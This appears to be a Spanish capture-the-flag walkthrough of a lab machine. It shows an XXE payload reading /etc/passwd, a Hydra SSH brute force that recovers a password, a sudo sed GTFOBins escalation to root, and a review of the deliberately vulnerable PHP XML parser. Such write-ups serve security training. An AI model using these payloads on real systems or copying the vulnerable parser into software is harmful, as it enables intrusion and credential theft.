Vamos a realizar fuzzing para ver que directorios y archivos existen en la estructura de la aplicación:
Vemos un upload.php , vamos a acceder a el:
Shell as castorcin
Vemos que esta esperando a que se le de un XML en el cuerpo. Vamos a interceptar está misma petición e indicarle cualquier contenido XML:
Vemos que nos lo devuelve, así que vamos a probar a explotar XXE para leer archivos internos del servidor:
Vemos el usuario castorcin si intentamos leer su id_rsa no podremos. Así que vamos a intentar hacer fuerza bruta a castorcin para ver si tiene una contraseña debil:
Obtuvimos las credenciales! Vamos a probar:
Shell as root
Si vemos los permisos SUDOERS podremos ver lo siguiente:
Tenemos permisos para usar el binario sed como cualquier usuario existente del sistema sin necesidad de contraseña. Así que con esto aprovecharemos para escalar como root . Para ello podemos ir a GTFOBins:
Vamos a probarlo:
root! ;)
Code Review
upload.php (XXE)
Vamos a verlo por partes:
Con init_set('display_errors',1) lo que hacemos es cambiar la configuración de PHP para mostrar los errores en pantalla (1). Luego con error_reporting(E_ALL) indicamos que nos notifique de todos los errores,advertencias y avisos (E_ALL).
Con libxml_use_internal_errors(true); indica que los errores que ocurran en XML no los muestre si no que se los guarde internamente.
Creamos una variable llamada xml donde usamos la función file_get_contents para obtener el contenido de lo que devuelva el wrapper php://input que se encarga de obtener todo el cuerpo de la petición HTTP. Luego realiza un condicional donde si la variable xml está vacia o no existe entonces devuelva xml not provided(error que nos devolvía cuando no dabamos ningún XML en el cuerpo de la solicitud).
Creamos un nuevo objeto en el DOM que nos permitirá trabajar con XML. Luego intentaremos parsear el XML en la variable xml. Si devuelve true significa que XML se cargó correctamente, si devuelve false entonces a ocurrido un error y se guardará en la variable loaded .
Ahora con un condicional indicamos que si loaded no se ha podido cargar (que ha devuelvo false) entonces iteramos por lo errores para imprimirlos y ver los posibles errores. Si loaded a cargado (a devuelto true) entonces modificamos la cabecera Content-Type de la respuesta indicando que serrá un SVG basado en XML. Luego converiremos el DOMDocument a texto XML y lo devolveremos como respuesta.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
┌──(pylon㉿kali)-[~]
└─$ hydra -l 'castorcin' -P /usr/share/wordlists/rockyou.txt ssh://192.168.74.133
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-14 20:46:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.74.133:22/
[22][ssh] host: 192.168.74.133 login: castorcin password: chocolate
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-14 20:46:28
┌──(pylon㉿kali)-[~]
└─$ ssh castorcin@192.168.74.133
castorcin@192.168.74.133's password:
Linux TheHackersLabs-Castor 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 14 21:11:20 2026 from 192.168.74.128
castorcin@TheHackersLabs-Castor:~$
castorcin@TheHackersLabs-Castor:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-Castor: Nombre o servicio desconocido
Matching Defaults entries for castorcin on TheHackersLabs-Castor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User castorcin may run the following commands on TheHackersLabs-Castor:
(ALL : ALL) NOPASSWD: /usr/bin/sed
GTFOBins Payload
sudo sed -n '1e exec sh 1>&0' /etc/hosts
castorcin@TheHackersLabs-Castor:~$ sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo: unable to resolve host TheHackersLabs-Castor: Nombre o servicio desconocido
root@TheHackersLabs-Castor:/home/castorcin# whoami
root
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
libxml_use_internal_errors(true);
$xml = file_get_contents("php://input");
if (!$xml) {
die("xml not provided");
}
$dom = new DOMDocument();
$loaded = $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
if (!$loaded) {
foreach (libxml_get_errors() as $error) {
echo $error->message;
}
exit;
}
header("Content-Type: image/svg+xml");
echo $dom->saveXML();
?>